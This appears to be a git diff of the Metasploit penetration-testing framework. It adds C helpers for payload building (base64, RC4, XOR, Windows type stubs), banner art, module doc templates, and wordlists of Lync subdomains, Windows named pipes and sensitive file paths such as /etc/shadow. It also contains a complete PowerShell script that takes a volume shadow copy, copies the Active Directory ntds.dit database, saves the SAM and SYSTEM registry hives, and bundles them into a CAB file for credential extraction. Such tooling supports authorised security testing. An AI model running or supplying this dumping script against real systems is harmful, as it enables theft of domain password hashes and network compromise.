WINAPI SOCKET WSAAccept __attribute__((dllimport))(SOCKET, struct sockaddr*, LPINT, LPCONDITIONPROC, DWORD_PTR);
|
|
@ -0,0 +1,114 @@
|
|||
/* from https://github.com/mdornseif/didentd */
|
||||
/* public domain
|
||||
* BASE64 on stdin -> converted data on stdout */
|
||||
|
||||
/* arbitrary data on stdin -> BASE64 data on stdout
|
||||
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
|
||||
*
|
||||
* public domain
|
||||
*/
|
||||
|
||||
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
|
||||
*
|
||||
*/
|
||||
|
||||
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
if (!table_initialized) {
|
||||
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
if (c == '=') {
|
||||
break;
|
||||
}
|
||||
|
||||
if (c > 255 || !inalphabet[c]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bits += decoder[c];
|
||||
char_count++;
|
||||
if (char_count < 4) {
|
||||
bits <<= 6;
|
||||
} else {
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
dest[wpos++] = bits & 0xff;
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
switch (char_count) {
|
||||
case 1:
|
||||
return -1;
|
||||
break;
|
||||
case 2:
|
||||
dest[wpos++] = bits >> 10;
|
||||
break;
|
||||
case 3:
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
break;
|
||||
}
|
||||
|
||||
return wpos;
|
||||
}
|
||||
|
||||
int base64encode(char *dest, const char *src, int l)
|
||||
{
|
||||
int bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
bits += c;
|
||||
char_count++;
|
||||
if (char_count < 3) {
|
||||
bits <<= 8;
|
||||
} else {
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = alphabet[bits & 0x3f];
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (char_count != 0) {
|
||||
bits <<= 16 - (8 * char_count);
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
if (char_count == 1) {
|
||||
dest[wpos++] = '=';
|
||||
dest[wpos++] = '=';
|
||||
} else {
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = '=';
|
||||
}
|
||||
}
|
||||
return wpos;
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
// This code was originally obtained and modified from the following source
|
||||
// by Bobin Verton:
|
||||
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char *a, unsigned char *b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char *key, unsigned char *S) {
|
||||
int len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,128 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define NULL ((void *)0)
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define VOID void
|
||||
#define _tWinMain WinMain
|
||||
#define CALLBACK __stdcall
|
||||
#define WINAPI __stdcall
|
||||
#define APIENTRY WINAPI
|
||||
#define BUFSIZ 512
|
||||
#define _INTERNAL_BUFSIZ 4096
|
||||
#define _SMALL_BUFSIZ 512
|
||||
#define _NSTREAM_ 512
|
||||
#define _IOB_ENTRIES 20
|
||||
#define RAND_MAX 0x7fff
|
||||
#define EOF (-1)
|
||||
#define SEEK_CUR 1
|
||||
#define SEEK_END 2
|
||||
#define SEEK_SET 0
|
||||
#define FILENAME_MAX 260
|
||||
#define FOPEN_MAX 20
|
||||
#define _SYS_OPEN 20
|
||||
#define _TMP_MAX_S 2147483647
|
||||
#define stdin (&__iob_func()[0])
|
||||
#define stdout (&__iob_func()[1])
|
||||
#define stderr (&__iob_func()[2])
|
||||
#define _IOREAD 0x0001
|
||||
#define _IOWRT 0x0002
|
||||
#define _IOFBF 0x0000
|
||||
#define _IOLBF 0x0040
|
||||
#define _IONBF 0x0004
|
||||
#define _IOMYBUF 0x0008
|
||||
#define _IOEOF 0x0010
|
||||
#define _IOERR 0x0020
|
||||
#define _IOSTRG 0x0040
|
||||
#define _IORW 0x0080
|
||||
#define _TWO_DIGIT_EXPONENT 0x1
|
||||
#define DLL_PROCESS_ATTACH 1
|
||||
#define DLL_PROCESS_DETACH 0
|
||||
#define DLL_THREAD_ATTACH 2
|
||||
#define DLL_THREAD_DETACH 3
|
||||
|
||||
typedef char CHAR;
|
||||
typedef CHAR* PCHAR;
|
||||
typedef const char* LPCTSTR;
|
||||
typedef const char* LPCSTR;
|
||||
typedef const CHAR* PCSTR;
|
||||
typedef char* LPSTR;
|
||||
typedef char* LPTSTR;
|
||||
typedef CHAR* PSTR;
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned int DWORD32;
|
||||
typedef WORD* LPWORD;
|
||||
typedef long HRESULT;
|
||||
typedef long LONG;
|
||||
typedef float FLOAT;
|
||||
typedef DWORD COLORREF;
|
||||
typedef WORD ATOM;
|
||||
typedef BYTE BOOLEAN;
|
||||
typedef void* HANDLE;
|
||||
typedef HANDLE SC_HANDLE;
|
||||
typedef HANDLE HINSTANCE;
|
||||
typedef HINSTANCE HMODULE;
|
||||
typedef HANDLE HHOOK;
|
||||
typedef HANDLE HCONV;
|
||||
typedef HANDLE HCONFLIST;
|
||||
typedef HANDLE HFONT;
|
||||
typedef HANDLE HGLOBAL;
|
||||
typedef HANDLE HICON;
|
||||
typedef HANDLE HKEY;
|
||||
typedef HANDLE HGLOBAL;
|
||||
typedef HKEY* PHKEY;
|
||||
typedef HANDLE HKL;
|
||||
typedef unsigned char UCHAR;
|
||||
typedef char TCHAR;
|
||||
typedef char CCHAR;
|
||||
typedef int INT;
|
||||
typedef unsigned int UINT;
|
||||
typedef unsigned int UINT_PTR;
|
||||
typedef unsigned long ULONG;
|
||||
typedef unsigned long ULONG_PTR;
|
||||
typedef long* LPLONG;
|
||||
typedef long LONG_PTR;
|
||||
typedef unsigned short USHORT;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned int size_t;
|
||||
typedef size_t* PSIZE_T;
|
||||
typedef DWORD* LPDWORD;
|
||||
typedef DWORD* PDWORD;
|
||||
typedef HANDLE* LPHANDLE;
|
||||
typedef HANDLE* PHANDLE;
|
||||
typedef unsigned short u_short;
|
||||
typedef BYTE* LPBYTE;
|
||||
typedef BYTE* PBYTE;
|
||||
typedef void* PVOID;
|
||||
typedef void* LPVOID;
|
||||
typedef void* LPCVOID;
|
||||
typedef ULONG_PTR DWORD_PTR;
|
||||
typedef void* HWND;
|
||||
typedef int BOOL;
|
||||
typedef int bool;
|
||||
typedef BOOL* PBOOL;
|
||||
typedef LONG_PTR LRESULT;
|
||||
typedef UINT_PTR WPARAM;
|
||||
typedef LONG_PTR LPARAM;
|
||||
typedef long NTSTATUS;
|
||||
typedef ULONG* PULONG;
|
||||
typedef ULONG REGSAM;
|
||||
typedef LRESULT (CALLBACK* HOOKPROC)(int, WPARAM, LPARAM);
|
||||
typedef __stdcall int (*FARPROC)();
|
||||
typedef struct _iobuf FILE;
|
||||
typedef long fpos_t;
|
||||
typedef int* LPINT;
|
||||
|
||||
typedef struct {
|
||||
unsigned int gp_offset;
|
||||
unsigned int fp_offset;
|
||||
void *overflow_arg_area;
|
||||
void *reg_save_area;
|
||||
} va_list[1];
|
|
@ -0,0 +1,40 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
FILE* popen(const char*, const char*);
|
||||
int pclose(FILE*);
|
||||
int fscanf(FILE*, const char*, ...);
|
||||
int scanf(const char*, ...);
|
||||
int sscanf(const char*, const char*, ...);
|
||||
int vfscanf(FILE*, const char*, va_list);
|
||||
int vsscanf(const char*, const char*, va_list);
|
||||
int fclose(FILE*);
|
||||
void clearerr(FILE*);
|
||||
int feof(FILE*);
|
||||
int ferror(FILE*);
|
||||
int fflush(FILE*);
|
||||
int fgetpos(FILE*, fpos_t*);
|
||||
FILE *fopen(const char*, const char*);
|
||||
size_t fread(void*, size_t, size_t, FILE*);
|
||||
FILE *freopen(const char*, const char*, FILE*);
|
||||
int fseek(FILE*, long int, int);
|
||||
int fsetpos(FILE*, const fpos_t*);
|
||||
long int ftell(FILE*);
|
||||
size_t fwrite(const void*, size_t, size_t, FILE*);
|
||||
int remove(const char*);
|
||||
int rename(const char*, const char*);
|
||||
void rewind(FILE*);
|
||||
void setbuf(FILE*, char*);
|
||||
int setvbuf(FILE*, char*, int, size_t);
|
||||
FILE *tmpfile(void);
|
||||
char *tmpnam(char*);
|
||||
int fprintf(FILE*, const char*, ...);
|
||||
int printf(const char*, ...);
|
||||
int sprintf(char*, const char*, ...);
|
||||
int vfprintf(FILE*, const char*, va_list);
|
||||
int vsprintf(char*, const char*, va_list);
|
||||
int vsnprintf(char*, size_t, const char*, va_list);
|
||||
int vasprintf(char**, const char*, va_list);
|
||||
int vdprintf(int, const char*, va_list);
|
|
@ -0,0 +1,46 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
typedef struct _div_t {
|
||||
int quot;
|
||||
int rem;
|
||||
} div_t;
|
||||
|
||||
typedef struct _ldiv_t {
|
||||
long quot;
|
||||
long rem;
|
||||
} ldiv_t;
|
||||
|
||||
typedef struct _lldiv_t {
|
||||
long long quot;
|
||||
long long rem;
|
||||
} lldiv_t;
|
||||
|
||||
int rand(void);
|
||||
void srand(unsigned);
|
||||
void* malloc(size_t);
|
||||
void* realloc(void*, size_t);
|
||||
void free(void*);
|
||||
double atof(const char*);
|
||||
double strtod(const char*, char**);
|
||||
float strtof(const char*, char**);
|
||||
long int strtol(const char*, char**, int);
|
||||
long double strtold(const char*, char**);
|
||||
int atoi(const char*);
|
||||
void abort(void);
|
||||
void exit(int);
|
||||
int atexit(void (*function)(void));
|
||||
char* getenv(const char*);
|
||||
int setenv(const char*, const char*, int);
|
||||
int putenv(char*);
|
||||
int unsetenv(const char*);
|
||||
void *bsearch(const void*, const void*, size_t, size_t, int (*compar)(const void*, const void*));
|
||||
void qsort(void*, size_t, size_t, int (*compar)(const void*, const void*));
|
||||
int abs(int);
|
||||
int mblen(const char*, size_t);
|
||||
int system(const char*);
|
||||
long int labs(long int);
|
||||
div_t div(int, int);
|
||||
ldiv_t ldiv(long int, long int);
|
|
@ -0,0 +1,11 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void xor(char* dest, char* src, char key, int len) {
|
||||
for (int i = 0; i < len; i++) {
|
||||
char c = src[i] ^ key;
|
||||
dest[i] = c;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO.%clr%bldMMMM%clr%red.oOOOOoOOOOl.%clr%bldMMMM%clr%red,OOOOOOOOo
|
||||
dOOOOOOOO.%clr%bldMMMMMM%clr%red.cOOOOOc.%clr%bldMMMMMM%clr%red,OOOOOOOOx
|
||||
lOOOOOOOO.%clr%bldMMMMMMMMM%clr%red;d;%clr%bldMMMMMMMMM%clr%red,OOOOOOOOl
|
||||
.OOOOOOOO.%clr%bldMMM%clr%red.;%clr%bldMMMMMMMMMMM%clr%red;%clr%bldMMMM%clr%red,OOOOOOOO.
|
||||
cOOOOOOO.%clr%bldMMM%clr%red.OOc.%clr%bldMMMMM%clr%red'oOO.%clr%bldMMM%clr%red,OOOOOOOc
|
||||
oOOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOOo
|
||||
lOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOl
|
||||
;OOOO'%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red;OOOO;
|
||||
.dOOo'%clr%bldWM%clr%red.OOOOocccxOOOO.%clr%bldMX%clr%red'xOOd.
|
||||
,kOl'%clr%bldM%clr%red.OOOOOOOOOOOOO.%clr%bldM%clr%red'dOk,
|
||||
:kk;.OOOOOOOOOOOOO.;Ok:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
|
@ -0,0 +1,21 @@
|
|||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
|
||||
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
|
||||
lOOOOOOOO. ;d; ,OOOOOOOOl
|
||||
.OOOOOOOO. .; ; ,OOOOOOOO.
|
||||
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
|
||||
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
|
||||
lOOOOO. .OOOO. :OOOO. ,OOOOOl
|
||||
;OOOO' .OOOO. :OOOO. ;OOOO;
|
||||
.dOOo .OOOOocccxOOOO. xOOd.
|
||||
,kOl .OOOOOOOOOOOOO. .dOk,
|
||||
:kk;.OOOOOOOOOOOOO.cOk:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
|
@ -1,7 +1,7 @@
|
|||
%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V5%clr |
|
||||
|______________________________________________________________________________|
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr . %yel/%clr %yel/%clr x
|
||||
|
@ -25,6 +25,6 @@
|
|||
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
|
||||
################################################################################
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
# %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
https://metasploit.com%clr
|
||||
|
|
|
@ -14,10 +14,22 @@
|
|||
<%= normalize_platforms(items[:mod_platforms]) %>
|
||||
<% end %>
|
||||
|
||||
## Reliability
|
||||
## Module Ranking
|
||||
|
||||
<%= normalize_rank(items[:mod_rank]) %>
|
||||
|
||||
## Side Effects
|
||||
|
||||
<%= normalize_side_effects(items[:mod_side_effects]) %>
|
||||
|
||||
## Reliability
|
||||
|
||||
<%= normalize_reliability(items[:mod_reliability]) %>
|
||||
|
||||
## Stability
|
||||
|
||||
<%= normalize_stability(items[:mod_stability]) %>
|
||||
|
||||
## Related Pull Requests
|
||||
|
||||
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
|
||||
|
|
|
@ -0,0 +1,6 @@
|
|||
```
|
||||
msf > use <%= mod.fullname %>
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > show options
|
||||
... show and set options ...
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
|
||||
```
|
|
@ -0,0 +1,139 @@
|
|||
#Complete script created by Koen Riepe (koen.riepe@fox-it.com)
|
||||
#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/
|
||||
function New-CabinetFile {
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FilePath")]
|
||||
[string] $Name,
|
||||
|
||||
[Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FullName")]
|
||||
[string[]] $File,
|
||||
|
||||
[Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)]
|
||||
[AllowNull()]
|
||||
[string[]] $DestinationPath,
|
||||
|
||||
[Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
|
||||
[Switch] $NoClobber
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
||||
## If $DestinationPath is blank, use the current directory by default
|
||||
if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
|
||||
Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
|
||||
Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'.";
|
||||
|
||||
## Test the -NoClobber switch
|
||||
if ($NoClobber) {
|
||||
## If file already exists then throw a terminating error
|
||||
if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; }
|
||||
}
|
||||
|
||||
## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info
|
||||
$ddf = ";*** MakeCAB Directive file`r`n";
|
||||
$ddf += ";`r`n";
|
||||
$ddf += ".OPTION EXPLICIT`r`n";
|
||||
$ddf += ".Set CabinetNameTemplate=$Name`r`n";
|
||||
$ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
|
||||
$ddf += ".Set MaxDiskSize=0`r`n";
|
||||
$ddf += ".Set Cabinet=on`r`n";
|
||||
$ddf += ".Set Compress=on`r`n";
|
||||
## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
|
||||
$ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
|
||||
$ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
|
||||
|
||||
## If -Verbose, echo the directive file
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
|
||||
Write-Verbose $ddfLine;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
## Enumerate all the files add to the cabinet directive file
|
||||
foreach ($fileToAdd in $File) {
|
||||
|
||||
## Test whether the file is valid as given and is not a directory
|
||||
if (Test-Path $fileToAdd -PathType Leaf) {
|
||||
Write-Verbose """$fileToAdd""";
|
||||
$ddf += """$fileToAdd""`r`n";
|
||||
}
|
||||
## If not, try joining the $File with the (default) $DestinationPath
|
||||
elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
|
||||
Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)""";
|
||||
$ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n";
|
||||
}
|
||||
else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; }
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
$ddfFile = Join-Path $DestinationPath "$Name.ddf";
|
||||
$ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
|
||||
|
||||
Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
|
||||
$makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
|
||||
|
||||
## If Verbose, echo the MakeCab response/output
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
## Recreate the output as Verbose output
|
||||
foreach ($line in $makeCab -split [environment]::NewLine) {
|
||||
if ($line.Contains("ERROR:")) { throw $line; }
|
||||
else { Write-Verbose $line; }
|
||||
}
|
||||
}
|
||||
|
||||
## Delete the temporary .ddf file
|
||||
Write-Verbose "Deleting the directive file '$ddfFile'.";
|
||||
Remove-Item $ddfFile;
|
||||
|
||||
## Return the newly created .CAB FileInfo object to the pipeline
|
||||
Get-Item (Join-Path $DestinationPath $Name);
|
||||
}
|
||||
}
|
||||
|
||||
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
|
||||
$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
|
||||
$ntdspath = $ntdsloc.split(":")[1]
|
||||
$ntdsdisk = $ntdsloc.split(":")[0]
|
||||
|
||||
(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
|
||||
|
||||
$id_shadow = "None"
|
||||
$volume_shadow = "None"
|
||||
|
||||
if (!(Get-WmiObject win32_shadowcopy).length){
|
||||
Write-Host "Only one shadow clone"
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy).ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
|
||||
} Else {
|
||||
$n_shadows = (Get-WmiObject win32_shadowcopy).length-1
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
|
||||
}
|
||||
|
||||
$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
|
||||
iex $command
|
||||
|
||||
$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
|
||||
iex $command2
|
||||
|
||||
$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||
iex $command3
|
||||
|
||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||
if (Test-Path "All.cab"){
|
||||
Remove-Item "All.cab"
|
||||
}
|
||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||
Remove-Item ntds.dit
|
||||
Remove-Item SAM
|
||||
Remove-Item SYSTEM
|
|
@ -0,0 +1,10 @@
|
|||
access
|
||||
dialin
|
||||
lync
|
||||
lync10
|
||||
lyncaccess
|
||||
lyncaccess01
|
||||
lyncdiscover
|
||||
lyncext
|
||||
lyncweb
|
||||
meet
|
|
@ -0,0 +1,25 @@
|
|||
netlogon
|
||||
lsarpc
|
||||
samr
|
||||
browser
|
||||
atsvc
|
||||
DAV RPC SERVICE
|
||||
epmapper
|
||||
eventlog
|
||||
InitShutdown
|
||||
keysvc
|
||||
lsass
|
||||
LSM_API_service
|
||||
ntsvcs
|
||||
plugplay
|
||||
protected_storage
|
||||
router
|
||||
SapiServerPipeS-1-5-5-0-70123
|
||||
scerpc
|
||||
srvsvc
|
||||
tapsrv
|
||||
trkwks
|
||||
W32TIME_ALT
|
||||
wkssvc
|
||||
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
|
||||
db2remotecmd
|
|
@ -86241,6 +86241,7 @@ wharves
|
|||
what
|
||||
whatchamacallit
|
||||
whatever
|
||||
whatevers2009
|
||||
whatley
|
||||
whatnot
|
||||
whatshername
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/group
|
||||
/etc/groups
|
||||
/etc/mysql.conf
|
||||
/etc/mysql/my.cnf
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue